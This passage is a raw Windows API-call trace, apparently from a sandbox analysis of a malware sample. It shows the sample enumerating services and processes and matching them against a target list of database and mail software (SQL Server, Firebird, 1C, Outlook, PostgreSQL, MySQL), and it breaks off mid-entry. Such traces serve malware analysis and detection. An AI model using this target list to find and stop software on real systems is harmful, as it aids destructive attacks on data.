lstrlenW (lpString="Spooler") returned 7 [0065.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0065.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0065.942] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0065.942] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0065.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0065.942] lstrlenW (lpString="swprv") returned 5 [0065.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0065.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0065.942] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0065.942] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0065.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0065.942] lstrlenW (lpString="SysMain") returned 7 [0065.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0065.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0065.942] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0065.942] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0065.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0065.942] lstrlenW (lpString="Themes") returned 6 [0065.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0065.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0065.942] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0065.942] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0065.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0065.942] lstrlenW (lpString="TrkWks") returned 6 [0065.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0065.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0065.943] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0065.943] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0065.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0065.943] lstrlenW (lpString="UxSms") returned 5 [0065.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0065.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0065.943] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0065.943] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0065.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0065.943] lstrlenW (lpString="VSS") returned 3 [0065.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0065.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0065.943] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0065.943] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0065.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0065.943] lstrlenW (lpString="WdiServiceHost") returned 14 [0065.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0065.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0065.943] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0065.943] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0065.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0065.943] lstrlenW (lpString="WdiSystemHost") returned 13 [0065.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0065.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0065.943] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0065.943] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0065.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0065.943] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0065.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0065.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0065.943] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0065.943] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0065.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0065.943] lstrlenW (lpString="Winmgmt") returned 7 [0065.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0065.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0065.944] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0065.944] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0065.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0065.944] lstrlenW (lpString="WPDBusEnum") returned 10 [0065.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0065.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0065.944] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0065.944] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0065.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0065.944] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4023080 | out: hHeap=0x6c0000) returned 1 [0065.944] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218 [0065.946] Process32FirstW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0065.946] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0065.947] lstrlenW (lpString="System") returned 6 [0065.947] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0065.947] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0065.947] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0065.947] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0065.947] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0065.947] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0065.947] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0065.947] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0065.947] lstrlenW (lpString="smss.exe") returned 8 [0065.947] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0065.947] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0065.947] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0065.947] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0065.947] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0065.947] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0065.947] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0065.947] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.948] lstrlenW (lpString="csrss.exe") returned 9 [0065.948] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0065.948] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0065.948] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0065.948] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0065.948] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0065.948] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0065.949] lstrlenW (lpString="wininit.exe") returned 11 [0065.949] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.949] lstrlenW (lpString="csrss.exe") returned 9 [0065.949] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0065.949] lstrlenW (lpString="winlogon.exe") returned 12 [0065.950] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0065.950] lstrlenW (lpString="services.exe") returned 12 [0065.950] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0065.950] lstrlenW (lpString="lsass.exe") returned 9 [0065.950] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0065.951] lstrlenW (lpString="lsm.exe") returned 7 [0065.951] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.951] lstrlenW (lpString="svchost.exe") returned 11 [0065.951] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.952] lstrlenW (lpString="svchost.exe") returned 11 [0065.952] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.952] lstrlenW (lpString="svchost.exe") returned 11 [0065.952] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.953] lstrlenW (lpString="svchost.exe") returned 11 [0065.953] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.953] lstrlenW (lpString="svchost.exe") returned 11 [0065.953] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0065.954] lstrlenW (lpString="audiodg.exe") returned 11 [0065.954] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.954] lstrlenW (lpString="svchost.exe") returned 11 [0065.954] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.955] lstrlenW (lpString="svchost.exe") returned 11 [0065.955] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0065.955] lstrlenW (lpString="dwm.exe") returned 7 [0065.955] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0065.956] lstrlenW (lpString="explorer.exe") returned 12 [0065.956] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0065.956] lstrlenW (lpString="spoolsv.exe") returned 11 [0065.956] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0065.957] lstrlenW (lpString="taskhost.exe") returned 12 [0065.957] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.957] lstrlenW (lpString="svchost.exe") returned 11 [0065.957] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0065.958] lstrlenW (lpString="taskeng.exe") returned 11 [0065.958] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0065.958] lstrlenW (lpString="taskhost.exe") returned 12 [0065.958] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0065.959] lstrlenW (lpString="br_maintaining.exe") returned 18 [0065.959] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0065.959] lstrlenW (lpString="kitsenormous.exe") returned 16 [0065.959] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0065.960] lstrlenW (lpString="intermediate-components.exe") returned 27 [0065.960] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0065.960] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0065.960] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0065.961] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0065.961] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0065.961] lstrlenW (lpString="stupid.exe") returned 10 [0065.961] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0065.962] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0065.962] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0065.962] lstrlenW (lpString="addition.exe") returned 12 [0065.962] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0065.963] lstrlenW (lpString="kept retirement.exe") returned 19 [0065.963] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0065.963] lstrlenW (lpString="lmmold.exe") returned 10 [0065.963] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0065.964] lstrlenW (lpString="soma weighted.exe") returned 17 [0065.964] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0065.964] lstrlenW (lpString="cartridge donation.exe") returned 22 [0065.964] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0065.965] lstrlenW (lpString="anti.exe") returned 8 [0065.965] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0065.965] lstrlenW (lpString="cashiersshot.exe") returned 16 [0065.965] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0065.966] lstrlenW (lpString="poundfi.exe") returned 11 [0065.966] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0065.966] lstrlenW (lpString="conditions_hired.exe") returned 20 [0065.966] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0065.967] lstrlenW (lpString="mercedes.exe") returned 12 [0065.967] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0065.967] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0065.967] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0065.968] lstrlenW (lpString="training_wiring.exe") returned 19 [0065.968] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0065.968] lstrlenW (lpString="democratic.exe") returned 14 [0065.968] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0065.969] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0065.969] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0065.969] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0065.969] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0065.970] lstrlenW (lpString="documented.exe") returned 14 [0065.970] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0065.970] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0065.970] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0065.971] lstrlenW (lpString="n.exe") returned 5 [0065.971] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0065.971] lstrlenW (lpString="cmd.exe") returned 7 [0065.971] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0065.972] lstrlenW (lpString="conhost.exe") returned 11 [0065.972] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: 